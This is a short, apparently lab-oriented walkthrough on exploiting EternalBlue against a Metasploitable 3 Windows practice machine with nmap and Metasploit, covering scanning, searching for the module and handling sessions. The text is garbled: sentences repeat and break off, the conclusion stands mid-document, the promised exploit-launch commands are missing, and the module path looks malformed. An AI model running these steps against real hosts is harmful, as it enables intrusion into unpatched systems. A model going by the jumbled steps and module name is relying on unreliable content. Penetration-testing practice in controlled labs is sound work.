To exploit the EternalBlue vulnerability, we can use the Metasploit framework. First, we need to start the Metasploit service and search for the EternalBlue exploit.
nmap -sV <IP address of Metasploitable 3 Windows> The scan results reveal that the system has several open ports, including 135 (RPC), 139 (SMB), and 445 (SMB). This information can be used to identify potential vulnerabilities and plan the next steps.
Once the exploit is launched, Metasploit will establish a session on the target system. We can now use the sessions command to list the active sessions and interact with the compromised system. metasploitable 3 windows walkthrough

sessions This will reveal a list of active sessions, including the one we just established. We can now use the session -i command to interact with the compromised system. To exploit the EternalBlue vulnerability, we can use
In this walkthrough, we have demonstrated how to compromise Metasploitable 3 Windows using the EternalBlue exploit. This exercise highlights the importance of keeping systems up-to-date with the latest security patches and demonstrates the potential consequences of neglecting security updates. By following these steps, security professionals can practice their skills in a safe and controlled environment, helping to improve their expertise and prepare for real-world penetration testing scenarios.
session -i <session ID>
msfconsole search eternalblue This will reveal the exploit//windows/smb/ms17_010_pwn2own module, which can be used to exploit the vulnerability. We can now use the following commands to configure and launch the exploit:
